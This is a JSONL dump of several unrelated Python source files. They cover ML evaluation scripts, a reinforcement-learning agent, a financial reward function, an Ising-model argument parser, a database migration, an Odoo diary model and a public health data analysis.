+{"seq_id":"500317280","text":"import sys\nimport random\n\nif len(sys.argv) < 4:\n print(\"Usage: {} \".format(sys.argv[0]))\n sys.exit(1)\n\ntarget = int(sys.argv[1])\nwif_file = sys.argv[2]\ngt_file = sys.argv[3]\n\nwif = open(wif_file, 'r')\ngt = open(gt_file, 'r')\nsites = set()\n\nfor line in wif:\n sil = line.split('#')[0].strip().split(':')\n for s in sil:\n q = s.strip().split(' ')\n if len(q) != 4: continue\n\n sites.add(int(q[0]))\n\nsites = list(sorted(sites))\n\nstartidx = random.randint(0, len(sites) - target)\nchosen = sites[startidx:startidx + target]\n\nwif.seek(0)\nfor line in wif:\n sil = line.split('#')[0].strip().split(':')\n l = []\n for s in sil:\n q = s.strip().split(' ')\n if len(q) != 4: continue\n\n if int(q[0]) in chosen:\n l.append(s)\n\n if l:\n print(' : '.join(l))\n\nfor line in gt:\n print(line.strip()[startidx:startidx+target], file=sys.stderr)\n","sub_path":"reduce-dataset.py","file_name":"reduce-dataset.py","file_ext":"py","file_size_in_byte":946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"8003290","text":"# coding: utf-8\n\nimport gensim, pickle, csv, nltk, matplotlib, pylab, logging\nfrom sklearn.metrics import roc_curve, auc\nimport numpy as np\nfrom scipy import interp\nfrom collections import namedtuple, defaultdict\nfrom string import punctuation\nfrom sklearn.metrics import confusion_matrix\nfrom emotionslist import emotion_categories\nfrom matplotlib import pyplot as plt\nfrom sklearn.linear_model import SGDClassifier\n\nlogging.basicConfig(format='%(asctime)s : %(levelname)s : %(message)s', level=logging.INFO)\nlogging.root.level = logging.INFO\n\n'''\n'none' is detected when there are no hashtags related to other categories, so once the\ntraining data is developed it is also appended with the emotion_categories during the evaluation.\n'''\nemotion_categories.update({'none':'gray'})\n\n\n'''\nSet the respective file paths for model, traning data and test data.\n'''\nmodel_path = 'path/to/vector/model'\nx_train_path = 'path/to/training/sentences'\ny_train_path = 'path/to/training/emotions'\nx_test_path = 'path/to/test/sentences'\ny_test_path = 'path/to/test/emotions'\n\n\nmodel = gensim.models.Word2Vec.load(model_path)\n\nx_train = pickle.load(open(x_train_path,'rb'))\ny_train = pickle.load(open(y_train_path,'rb'))\n\nx_test = pickle.load(open(x_test_path,'rb'))\ny_test = pickle.load(open(y_test_path,'rb'))\n\n\n'''\nReturns the sum of all the word vectors in the sentence with respective emotions.\nWhen out of vocabulary word appears, the instance is skipped.\n'''\ndef getWordVecs(model, corpus, category, size):\n vecs = []\n emos = []\n for i,words in enumerate(corpus):\n curr_vec = np.zeros((size))\n for word in words:\n try:\n curr_vec += model[word].reshape(size)\n except KeyError:\n break\n else:\n vecs.append(curr_vec)\n emos.append(category[i])\n result = namedtuple('result','vecs,cat')\n result.vecs = vecs\n result.emos = emos\n return result\n\n'''\nReturns the respective document vector by infer_vector method which uses\nsimilarity measure to find the closest vector in the learnt vector space.\n'''\ndef getDocVecs(model, corpus, emotions, size):\n vecs = []\n for z in corpus:\n vecs.append(np.array(model.infer_vector(z)).reshape((size)))\n result = namedtuple('result','vecs,cat')\n result.vecs = vecs\n result.cat = emotions\n return result\n\ntrained_model = getWordVecs(model, x_train, y_train, 400)\ntest_model = getWordVecs(model, x_test, y_test, 400)\n'''\nFor document vector models\ntrained_model = getDocVecs(model, x_train, y_train, 400)\ntest_model = getDocVecs(model, x_test, y_test, 400)\n'''\n\n'''\nLinear regression classifier with stochastic gradient learning is used\nin our evaluation scenario.\n'''\nlr = SGDClassifier(loss='log', penalty='l1')\nlr.fit(trained_model.vecs, trained_model.emos)\n\n\n'''\nemotion categories predicted for the test vectors\n'''\npredicted_op = lr.predict(test_model.vecs)\n\n\n'''\ndecision_function provides the value by which the hyperplane is\nseparated which is used in ROC curves\n'''\npredicted_score = lr.decision_function(test_model.vecs)\n\n\ndef plot_confusion_matrix(cm, cmap=plt.cm.Greens):\n fig, ax = plt.subplots(figsize=(9,9))\n plt.imshow(cm, interpolation='nearest', cmap=cmap)\n cb = plt.colorbar()\n cb.set_label(\"Predicted values\")\n tick_marks = np.arange(len(emotion_categories))\n plt.xticks(tick_marks, emotion_categories.keys(), rotation=45)\n plt.yticks(tick_marks, emotion_categories.keys())\n width, height = np.shape(cm)\n for x in xrange(width):\n for y in xrange(height):\n ax.annotate(str(cm[x][y]), xy=(y, x), horizontalalignment='center', verticalalignment='center')\n ax.xaxis.tick_top()\n ax.xaxis.set_ticks_position('both') # THIS IS THE ONLY CHANGE\n\n plt.ylabel('Emotion categories', labelpad=15)\n plt.xlabel('Predicted categories', labelpad=15)\n ax.xaxis.set_label_position('top')\n plt.show()\n\n'''\nExpected emotion categories and predicted categories are plotted aginst eachother\nusing confusion matrices\n'''\ncmm = confusion_matrix(test_model.emos, predicted_op, labels=emotion_categories.keys())\nplot_confusion_matrix(cmm)\n\n\n'''\nBoth the predicted categories and expected categories are binarized inorder to\nplot the ROC curves for each emotional category\n'''\nbinarized_train = label_binarize(trained_model.cat, classes=emotion_categories.keys())\nbinarized_expected = label_binarize(test_model.emos, classes=emotion_categories.keys())\n\n'''\nOneVsRestClassifier is applied on the logistic regression classifier to detect\nbinarized outputs too\n'''\nlr = SGDClassifier(loss='log',penalty='l1')\novr = OneVsRestClassifier(lr)\novr.fit(trained_model.vecs, binarized_train)\n\npredicted_ovr = ovr.decision_function(test_model.vecs)\n\n'''\ncomputing false positive rates and true positive rates for each category\n'''\nfpr = dict()\ntpr = dict()\nroc_auc = dict()\nn_classes = len(emotion_categories)\nfor i in range(n_classes):\n fpr[i], tpr[i], _ = roc_curve(binarized_expected[:,i], predicted_ovr[:,i])\n roc_auc[i] = auc(fpr[i], tpr[i])\n\n'''\nComputing the true positive and false positive values for micro average ROC curve\n'''\nfpr[\"micro\"], tpr[\"micro\"], _ = roc_curve(binarized_expected.ravel(), predicted_ovr.ravel())\nroc_auc[\"micro\"] = auc(fpr[\"micro\"], tpr[\"micro\"])\n\n'''\nComputing the micro-average for ROC curves referenced from\nhttp://scikit-learn.org/stable/auto_examples/model_selection/plot_roc.html\n'''\n\n# First aggregate all false positive rates\nall_fpr = np.unique(np.concatenate([fpr[i] for i in range(n_classes)]))\n\n# Then interpolate all ROC curves at this points\nmean_tpr = np.zeros_like(all_fpr)\nfor i in range(n_classes):\n mean_tpr += interp(all_fpr, fpr[i], tpr[i])\n\n# Finally average it and compute AUC\nmean_tpr /= n_classes\n\nfpr[\"macro\"] = all_fpr\ntpr[\"macro\"] = mean_tpr\nroc_auc[\"macro\"] = auc(fpr[\"macro\"], tpr[\"macro\"])\n\n# Plot all ROC curves\n# First aggregate all false positive rates\nall_fpr = np.unique(np.concatenate([fpr[i] for i in range(n_classes)]))\n\n# Then interpolate all ROC curves at this points\nmean_tpr = np.zeros_like(all_fpr)\nfor i in range(n_classes):\n mean_tpr += interp(all_fpr, fpr[i], tpr[i])\n\n# Finally average it and compute AUC\nmean_tpr /= n_classes\n\nfpr[\"macro\"] = all_fpr\ntpr[\"macro\"] = mean_tpr\nroc_auc[\"macro\"] = auc(fpr[\"macro\"], tpr[\"macro\"])\n\n# Plot all ROC curves\nplt.figure(figsize=(9,9))\n\nplt.plot(fpr[\"micro\"], tpr[\"micro\"],\n label='micro-average ({0:0.2f})'\n ''.format(roc_auc[\"micro\"]),\n linewidth=3)\n\nfor i in range(n_classes):\n plt.plot(fpr[i], tpr[i], label='{0} ({1:0.2f})'\n ''.format(emotion_categories.keys()[i], roc_auc[i]), linewidth=1.5, color=emotion_categories.values()[i])\n\nplt.plot([0, 1], [0, 1], 'k--')\nplt.xlim([0.0, 1.0])\nplt.ylim([0.0, 1.05])\nplt.grid('on')\nplt.xlabel('False Positive Rate', fontsize=18)\nplt.ylabel('True Positive Rate', fontsize=18)\nplt.legend(loc=\"upper left\", bbox_to_anchor=(-0.06,-0.1), ncol=3, columnspacing=0.5)\n#pylab.savefig(roc_title, dpi=150 ,bbox_inches='tight')\nplt.show()\n\n'''\nIn order to plot only the micro-average of all curves, the values need to be saved.\nAll the results of the roc curves are pickled\n'''\nroc_property = namedtuple('roc_prop','fpr tpr roc_auc')\npickle.dump(roc_property, open('/path/for/roc/curves'))\n\n'''\nTo unpickle, the namedtuple has to be set first.\n'''\nroc_prop = namedtuple('roc_prop','fpr tpr roc_auc')\n# for example\ncbow_roc_property = pickle.load(open('/path/to/cbow/roc')) # for example\ncbow_fpr = cbow_roc_property.fpr\ncbow_tpr = cbow_roc_property.tpr\ncbow_roc_auc = cbow_roc_property.roc_auc\n","sub_path":"evaluation_biased_dataset.py","file_name":"evaluation_biased_dataset.py","file_ext":"py","file_size_in_byte":7602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"375603321","text":"import os\r\n\r\nimport numpy as np\r\nimport torch\r\nimport torch.optim as optim\r\n\r\nfrom agent import Agent\r\nfrom agent.common import ACArgs\r\nfrom . import ACActor, ACCritic\r\n\r\n\r\nclass ACAgent(Agent):\r\n\r\n def __init__(self, args: ACArgs):\r\n self._args = args\r\n\r\n self._actor = None\r\n self._critic = None\r\n self._actor_optimizer = None\r\n self._critic_optimizer = None\r\n\r\n self._critic_loss_function = torch.nn.MSELoss()\r\n\r\n self._step_count = 0\r\n self._update_step = 0\r\n\r\n def choose_action_with_exploration(self, state):\r\n action = self.choose_action(state)\r\n noise = np.random.normal(0, self._args.action_scale, (self._args.action_dim, ))\r\n return action + noise\r\n\r\n def choose_action(self, state):\r\n with torch.no_grad():\r\n mu, sigma = self._actor(torch.tensor(state).float())\r\n dist = torch.distributions.Normal(loc=mu, scale=sigma)\r\n action = dist.sample().numpy()\r\n return action\r\n\r\n def _update(self, s, a, s_, r, d):\r\n self._update_step += 1\r\n s = torch.tensor(s).float()\r\n a = torch.tensor(a).float()\r\n r = torch.tensor(r).float()\r\n s_ = torch.tensor(s_).float()\r\n d = torch.tensor(d).float()\r\n\r\n # update critic\r\n q_s = self._critic(s)\r\n q_s_ = self._critic(s_)\r\n with torch.no_grad():\r\n adv = torch.tensor([0.]) if d else r + self._args.gamma * q_s_ - q_s\r\n target = torch.tensor([0.]) if d else r + self._args.gamma * q_s_\r\n loss = self._critic_loss_function(target, q_s)\r\n self._critic_optimizer.zero_grad()\r\n loss.backward()\r\n self._critic_optimizer.step()\r\n\r\n # update Actor\r\n mu, sigma = self._actor(s)\r\n logit = torch.distributions.Normal(mu, sigma).log_prob(torch.Tensor(a))\r\n target = (-logit * adv).mean()\r\n self._actor_optimizer.zero_grad()\r\n target.backward()\r\n self._actor_optimizer.step()\r\n\r\n def train_one_step(self, s, a, s_, r, d):\r\n self._step_count += 1\r\n\r\n self._args.action_scale = np.max([self._args.final_action_scale,\r\n self._args.action_scale * self._args.scale_decay_factor])\r\n\r\n if self._step_count % self._args.update_freq == 0 and self._step_count > self._args.steps_before_training:\r\n for _ in range(self._args.update_count):\r\n self._update(s, a, s_, r, d)\r\n\r\n def set_model(self, parameter_share=False, load_paths=None):\r\n if not parameter_share:\r\n if load_paths is None or not os.path.exists(load_paths[0]):\r\n self._actor = ACActor(self._args.state_dim, self._args.action_dim)\r\n self._critic = ACCritic(self._args.state_dim)\r\n else:\r\n self._load_model(load_paths)\r\n else:\r\n if load_paths is None or not os.path.exists(load_paths[0]):\r\n if ACAgent.networks is None:\r\n # [actor, target actor, critic, target critic]\r\n ACAgent.networks = []\r\n ACAgent.networks.append(ACActor(self._args.state_dim, self._args.action_dim))\r\n ACAgent.networks.append(ACCritic(self._args.state_dim))\r\n else:\r\n if ACAgent.networks is None:\r\n # [actor, target actor, critic, target critic]\r\n self._load_model(load_paths)\r\n ACAgent.networks = []\r\n ACAgent.networks.append(self._actor)\r\n ACAgent.networks.append(self._critic)\r\n self._actor = ACAgent.networks[0]\r\n self._critic = ACAgent.networks[1]\r\n self._actor_optimizer = optim.Adam(self._actor.parameters(), lr=self._args.actor_lr)\r\n self._critic_optimizer = optim.Adam(self._critic.parameters(), lr=self._args.critic_lr)\r\n\r\n def save_model(self, paths):\r\n raise NotImplementedError\r\n\r\n def _load_model(self, paths):\r\n raise NotImplementedError\r\n","sub_path":"source_code/dqn,double_dqn,dueling_dqn,actor-critic,ddpg/scripts/agent/pb/acagent.py","file_name":"acagent.py","file_ext":"py","file_size_in_byte":4062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"290874914","text":"# Copyright (c) Microsoft Corporation.\n# Licensed under the MIT License.\n\nfrom __future__ import annotations\n\nfrom typing import cast\n\nimport numpy as np\n\nfrom qlib.rl.order_execution.state import SAOEMetrics, SAOEState\nfrom qlib.rl.reward import Reward\n\n__all__ = [\"PAPenaltyReward\"]\n\n\nclass PAPenaltyReward(Reward[SAOEState]):\n \"\"\"Encourage higher PAs, but penalize stacking all the amounts within a very short time.\n Formally, for each time step, the reward is :math:`(PA_t * vol_t / target - vol_t^2 * penalty)`.\n\n Parameters\n ----------\n penalty\n The penalty for large volume in a short time.\n \"\"\"\n\n def __init__(self, penalty: float = 100.0):\n self.penalty = penalty\n\n def reward(self, simulator_state: SAOEState) -> float:\n whole_order = simulator_state.order.amount\n assert whole_order > 0\n last_step = cast(SAOEMetrics, simulator_state.history_steps.reset_index().iloc[-1].to_dict())\n pa = last_step[\"pa\"] * last_step[\"amount\"] / whole_order\n\n # Inspect the \"break-down\" of the latest step: trading amount at every tick\n last_step_breakdown = simulator_state.history_exec.loc[last_step[\"datetime\"] :]\n penalty = -self.penalty * ((last_step_breakdown[\"amount\"] / whole_order) ** 2).sum()\n\n reward = pa + penalty\n\n # Throw error in case of NaN\n assert not (np.isnan(reward) or np.isinf(reward)), f\"Invalid reward for simulator state: {simulator_state}\"\n\n self.log(\"reward/pa\", pa)\n self.log(\"reward/penalty\", penalty)\n return reward\n","sub_path":"qlib/rl/order_execution/reward.py","file_name":"reward.py","file_ext":"py","file_size_in_byte":1569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"86795861","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*\n\n\"This module helps to show date and time\"\n__author__ = \"LionNBean\"\n\nfrom datetime import datetime\nimport calendar\n\n# intro_str = \"Current date and time:\\n\"\n# time_now = datetime.now()\n# time_str = time_now.strftime(\"%Y-%m-%d %H:%M:%S\")\n\nclass Time(datetime):\n\n @property\n def format_str(self):\n return self._format_str\n\n @format_str.setter\n def format_str(self, format_value):\n self._format_str = format_value.replace('Y', '%Y')\\\n .replace('m', '%m').replace('d', '%d')\\\n .replace('H', '%H').replace('M', '%M').replace('S', '%S')\n\n def show_now(self, value = ''):\n if value == '': print(self.strftime(self._format_str))\n else: print(self.strftime(value))\n\n def show_Chinese(self):\n print(self.strftime('\\n%Y年%m月%d日 %H时%M分%S秒\\n'))\n\n def show_calendar(self):\n calendar.prmonth(self.year, self.month)\n\n\nif __name__==\"__main__\":\n now = Time.now()\n now.show_calendar()\n now.show_Chinese()\n format_str = input('Give me your format: YmdHMS\\n')\n now.format_str = format_str\n now.show_now()\n\n quit = input(\"\\nPress any button to quit.\\n\")","sub_path":"PrintDateTime.py","file_name":"PrintDateTime.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"255380417","text":"import argparse as ap\nfrom argparse import ArgumentDefaultsHelpFormatter as adhf\n\nDATADIR = '../data/'\n\ndef base_parser(desc, output):\n \"\"\"\n Create parser with common options.\n Desc - Description of script.\n \"\"\"\n\n output_help = 'Path to store file'\n output_def = DATADIR + output\n\n ordered_help = 'Initial spin direction. 1 = up, -1 = down, 0 = random.'\n ordered_def = 0\n\n # Initialize parser\n parser = ap.ArgumentParser(description=desc,formatter_class=adhf)\n parser.add_argument('--output', '--o', default=output_def, help=output_help)\n parser.add_argument('--ordered', default=ordered_def, help=ordered_help)\n return parser\n\n\ndef equi_parser():\n \"\"\"\n Create parser for equilibrium check.\n \"\"\"\n description = 'Run ising model to check for equilibrium.'\n output = 'equilibrium.csv'\n parser = base_parser(description, output)\n\n exp_help = 'Highest power of 10 Monte Carlo cycles to run experiment for.'\n exp_def = 6\n\n\n\n points_help = 'Number of different sample sizes to run for. '\n points_help += 'Logarithmically spaced between 10 and 10^exp'\n points_def = 30\n\n L_help = 'Grid size'\n L_def = 20\n\n parser.add_argument('--L', default=L_def, help=L_help)\n parser.add_argument('--exp', '--e', default=exp_def, help=exp_help)\n parser.add_argument('--points', '--p', default=points_def,help=points_help)\n return parser\n\ndef phase_parser():\n \"\"\"\n Create parser for running phase transisions.\n \"\"\"\n desc = 'Run ising model to check for phase transitions, varying grid size and temperature.'\n output = 'phase.csv'\n parser = base_parser(desc, output)\n\n Tstart_help = 'Lowest temperature.'\n Tstart_def = 2.2\n\n Tstop_help = 'Highest temperature.'\n Tstop_def = 2.35\n\n dT_help = 'Temperature step size.'\n dT_def = 0.05\n\n delay_help = 'Number of MC cycles to run before collecting data.'\n delay_def = 50000\n\n cycles_help = 'Total number of MC cycles.'\n cycles_def = 500000\n\n estimate_help = 'Estimate run time before running.'\n estimate_def = False\n\n parser.add_argument('--Tstart', default=Tstart_def, help=Tstart_help)\n parser.add_argument('--Tstop', default=Tstop_def,help=Tstop_help)\n parser.add_argument('--dT', default=dT_def, help=dT_help)\n parser.add_argument('--delay', default=delay_def, help=delay_help)\n parser.add_argument('--cycles', default=cycles_def, help=cycles_help)\n parser.add_argument('--estimate', default=estimate_def,help=estimate_help)\n return parser\n\ndef post_parser():\n \"\"\"\n Create parser for post processing.\n \"\"\"\n desc = 'Plot results.'\n equi_help = 'Filepath of equilibrium results.'\n equi_def = DATADIR + 'equi_long2.csv'\n\n error_help = 'Filepath of relative error results.'\n error_def = DATADIR + 'equi_L2_large_7.csv'\n\n phase_help = 'Filepath of phase transition results.'\n phase_def = DATADIR + 'longrun2.csv'\n\n distfile_help = 'Filepath of distribution.'\n distdata_help = 'Filepath of distribution results.'\n distfile_def = DATADIR + 'dist_dist.csv'\n distdata_def = DATADIR + 'dist_20.csv'\n\n parser = ap.ArgumentParser(description=desc,formatter_class=adhf)\n parser.add_argument('--equi',help=equi_help, default=equi_def)\n parser.add_argument('--phase', help=phase_help, default=phase_def)\n parser.add_argument('--distfile', help=distfile_help, default=distfile_def)\n parser.add_argument('--distdata', help=distdata_help, default=distdata_def)\n parser.add_argument('--error',help=error_help, default=error_def)\n\n\n return parser\n\nif __name__ == '__main__':\n\n # Example of loading arguments\n args = phase_parser().parse_args()\n","sub_path":"Project4/src/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":3682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"270640353","text":"\"\"\"empty message\n\nRevision ID: b17ee979ed92\nRevises: fd61e76d7fe8\nCreate Date: 2017-10-19 10:45:37.490000\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'b17ee979ed92'\ndown_revision = 'fd61e76d7fe8'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('albums',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('title', sa.String(length=64), nullable=True),\n sa.Column('about', sa.Text(), nullable=True),\n sa.Column('cover', sa.String(length=64), nullable=True),\n sa.Column('type', sa.Integer(), nullable=True),\n sa.Column('tag', sa.String(length=64), nullable=True),\n sa.Column('no_public', sa.Boolean(), nullable=True),\n sa.Column('no_comment', sa.Boolean(), nullable=True),\n sa.Column('asc_order', sa.Boolean(), nullable=True),\n sa.Column('timestamp', sa.DateTime(), nullable=True),\n sa.Column('author_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['author_id'], ['users.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_index(op.f('ix_albums_timestamp'), 'albums', ['timestamp'], unique=False)\n op.create_table('follows',\n sa.Column('follower_id', sa.Integer(), nullable=False),\n sa.Column('followed_id', sa.Integer(), nullable=False),\n sa.Column('timestamp', sa.DateTime(), nullable=True),\n sa.ForeignKeyConstraint(['followed_id'], ['users.id'], ),\n sa.ForeignKeyConstraint(['follower_id'], ['users.id'], ),\n sa.PrimaryKeyConstraint('follower_id', 'followed_id')\n )\n op.add_column(u'photos', sa.Column('album_id', sa.Integer(), nullable=True))\n op.add_column(u'photos', sa.Column('author_id', sa.Integer(), nullable=True))\n op.create_foreign_key(None, 'photos', 'albums', ['album_id'], ['id'])\n op.create_foreign_key(None, 'photos', 'users', ['author_id'], ['id'])\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint(None, 'photos', type_='foreignkey')\n op.drop_constraint(None, 'photos', type_='foreignkey')\n op.drop_column(u'photos', 'author_id')\n op.drop_column(u'photos', 'album_id')\n op.drop_table('follows')\n op.drop_index(op.f('ix_albums_timestamp'), table_name='albums')\n op.drop_table('albums')\n # ### end Alembic commands ###\n","sub_path":"test-xiangce/migrations/versions/b17ee979ed92_.py","file_name":"b17ee979ed92_.py","file_ext":"py","file_size_in_byte":2410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"157210991","text":"import numpy as np\nimport os\nimport matplotlib.pyplot as plt\nfrom pandas import Series, DataFrame\nimport pandas as pd\nimport json\nfrom flask import Flask\n\napp = Flask(__name__)\n\nif __name__ == '__main__':\n app.run(port=33507)\n\nimport requests\nurl = 'https://chronicdata.cdc.gov/api/views/dttw-5yxu/rows.json?accessType=DOWNLOAD'\nresp = requests.get(url)\nresp\n\nprint(len(resp.text))\nprint (resp.headers['content-type'])\n\n## file type {'data': [[3639,'2FD4E5E9-4694-47BB-9EFB-E421E46C041A',3639,1457698824,'716424',1457698824,'716424',\n## None,'2014','AK', 'Alaska', 'Alcohol Consumption', 'Alcohol Consumption', 'Adults who have had at \n##least one drink of alcohol within the past 30 days', 'Yes','Overall','Overall','2385','56.7','54.6', '58.8', '1','%',\n ## 'Crude Prevalence',None,None,'BRFSS','CLASS01','Topic03','02','BO1','CAT1','DRNKANY5', 'RESP046',[None, '64.84507995700051',\n##'-147.72205903599973', None, False]]\n\ndata = json.loads(resp.text)\nprams = DataFrame(data['data'])\n\nprams = prams.drop(prams.columns[:8], axis = 1)\nprams_set = prams.copy()\n\n## Select my columns\nsubset = prams_set[[8,9,11,12,13,14,15,16,17,18,19,20,27,28,32,33]]\n\n## Rename the columns with the correct name\nmyCol = {8:'Year',9:'Location',11:'Class',12:'Topic',13:'Question',14:'Response',15:'Break_Out',16:'Break_Out_Category',\n 17:'Sample_Size',18:'Data_Value',19:'ConfidenceL', 20:'ConfidenceH',27:'ClassId',28:'TopicId',32:'QuestionId',33:'ResponseId'}\n \nsubset = subset.rename(columns = myCol)\nsubset.head(n=3)\n\nsubset['Class'].unique()\n\nsubset1 = subset[(subset['Class']== 'Chronic Health Indicators') | (subset['Class']== 'Colorectal Cancer Screening')\n | (subset['Class'] == 'Overweight and Obesity (BMI)') | (subset['Class']== 'Cholesterol Awareness') | \n (subset['Class']== 'Fruits and Vegetables')]\n \n\n## find the frequency based on class and topic\nres = subset1.groupby('Class')['Topic'].value_counts() \nsubset1.groupby('Topic')['Class'].value_counts().plot(kind = 'barh') \n \n## find the class frequency \nsubset1['Class'].value_counts().plot(kind='barh')\nplt.title('Disease Class on BRFSS') \n\n## find the class frequency \nsubset1['Topic'].value_counts().plot(kind='barh')\nplt.title('Disease Topic on BRFSS') \n\n## choose the 2014 year\nsubset_2014 = subset1[subset1['Year']== '2014']\nsubset_2014.groupby('Class')['Location'].value_counts()\n\n## choose the chronic health class\nsubset_2014_chronic = subset_2014[subset_2014['Class']== 'Chronic Health Indicators']\nsubset_2014_chronic.groupby('Topic')['Location'].value_counts()\nsub = subset_2014_chronic[subset_2014_chronic['Response']== 'Yes']\n\nsub['Data_Value'] = sub['Data_Value'].astype('float')\nsub['Data_Value'].dtypes\nsub.groupby(['Topic', 'Location'])['Data_Value'].quantile(0.5)\n\nsub.groupby('Topic')['Data_Value'].mean().plot(kind = 'barh')\nplt.title('Disease Topic on BRFSS d based on the data value mean')\nplt.xlabel('Data Value mean')\n\nsub.groupby('Break_Out')['Data_Value'].mean().plot(kind = 'barh')\nplt.title('Break Out Type on BRFSS based on the data value mean')\nplt.xlabel('Data Value mean')\n","sub_path":"code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":3106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"211884604","text":"# -*- coding: utf-8 -*-\r\nfrom datetime import timedelta\r\nfrom openerp import models, fields, api, exceptions, _\r\n\r\n\r\nclass Diary(models.Model):\r\n _name = 'leaf.diary'\r\n\r\n title = fields.Char(string='日记标题', required=True, help='日记的标题')\r\n start_date = fields.Date(string='创建日期', required=True, help='日记创建日期', default=fields.Date.today) # 日历视图开始日期\r\n duration = fields.Float(string='记录天数', digits=(6, 2), help='这个日记记录了几天的内容?', default=3)\r\n par_volume = fields.Integer(string='参与者人数上限', help='参与者人数上限', default=8)\r\n content1 = fields.Text(string='日记内容1', help='日记的内容1')\r\n content2 = fields.Text(string='日记内容2', help='日记的内容2')\r\n content3 = fields.Text(string='日记内容3', help='日记的内容3')\r\n sign = fields.Char(string='签名', default=lambda self: self.env.user.login, help='请输入你的签名,否则日记不生效')\r\n partner_id = fields.Many2many('leaf.owners', string=\"参与者\", help='这个日记的其他完成者')\r\n ownerid = fields.Many2one('leaf.owners', string='所有者')\r\n\r\n end_date = fields.Date(string=\"结束日期\", store=True, compute='_get_end_date', inverse='_set_end_date') # 日历视图结束日期\r\n\r\n # Gantt charts 甘特视图\r\n hours = fields.Float(string=\"小时数\", compute='_get_hours', inverse='_set_hours')\r\n\r\n # Graph views 图表视图\r\n attendees_count = fields.Integer(string=\"笔记数\", compute='_get_attendees_count', store=True)\r\n # kanban view 看板视图\r\n color = fields.Integer()\r\n\r\n @api.depends('start_date', 'duration')\r\n def _get_end_date(self):\r\n for val in self:\r\n if not (val.start_date and val.duration):\r\n val.end_date = val.start_date\r\n continue\r\n start = fields.Datetime.from_string(val.start_date)\r\n duration = timedelta(days=val.duration, seconds=-1)\r\n val.end_date = start + duration\r\n\r\n def _set_end_date(self):\r\n for val in self:\r\n if not (val.start_date and val.end_date):\r\n continue\r\n start_date = fields.Datetime.from_string(val.start_date)\r\n end_date = fields.Datetime.from_string(val.end_date)\r\n val.duration = (end_date - start_date).days + 1\r\n\r\n @api.depends('duration')\r\n def _get_hours(self):\r\n for r in self:\r\n r.hours = r.duration * 24\r\n\r\n def _set_hours(self):\r\n for r in self:\r\n r.duration = r.hours / 24\r\n\r\n @api.depends('partner_id')\r\n def _get_attendees_count(self):\r\n for r in self:\r\n r.attendees_count = len(r.partner_id)\r\n\r\n @api.constrains('ownerid', 'partner_id')\r\n def _check_instructor_not_in_attendees(self):\r\n for r in self:\r\n if r.ownerid and r.ownerid in r.partner_id:\r\n raise exceptions.ValidationError(_(\"A session's instructor can't be an attendee\"))\r\n\r\n # 添加新的state字段 workflow\r\n state = fields.Selection([\r\n ('draft', \"Draft\"),\r\n ('confirmed', \"Confirmed\"),\r\n ('done', \"Done\"),\r\n ])\r\n\r\n @api.multi\r\n def action_draft(self):\r\n self.state = 'draft'\r\n\r\n @api.multi\r\n def action_confirm(self):\r\n self.state = 'confirmed'\r\n\r\n @api.multi\r\n def action_done(self):\r\n self.state = 'done'\r\n","sub_path":"Spark/models/Diary.py","file_name":"Diary.py","file_ext":"py","file_size_in_byte":3441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"346323848","text":"import torch\r\n\r\n# Solución de errores #############################################################################\r\n\r\n# \"RuntimeError: error in LoadLibraryA\" t.cat\r\nimport ctypes\r\nctypes.cdll.LoadLibrary('caffe2_nvrtc.dll') \r\n\r\nimport matplotlib\r\nmatplotlib.use('TkAgg', force=True)\r\n\r\n# Aceleración GPU #################################################################################\r\n\r\nglobal device\r\n\r\n# [Falta imprimir características de la GPU usada.]\r\nif torch.cuda.is_available():\r\n device = torch.device(\"cuda:0\")\r\n print(\"Running on the GPU.\")\r\nelse:\r\n device = torch.device(\"cpu\")\r\n print(\"Running on the CPU.\")\r\n\r\n# Parámetros ######################################################################################\r\n\r\nglobal image_dimension, image_layers, output_size, age_span\r\n\r\nimage_dimension = 28 # Dimensión cuadrada plana de la imagen inicial.\r\nimage_layers = 1 # Número de capas (1 = B&W, 3 = RGB).\r\noutput_size = 10 # Dimensión del vector de salida de la red.\r\nepochs = 10\r\n","sub_path":"Validación MNIST/cnfge.py","file_name":"cnfge.py","file_ext":"py","file_size_in_byte":1032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
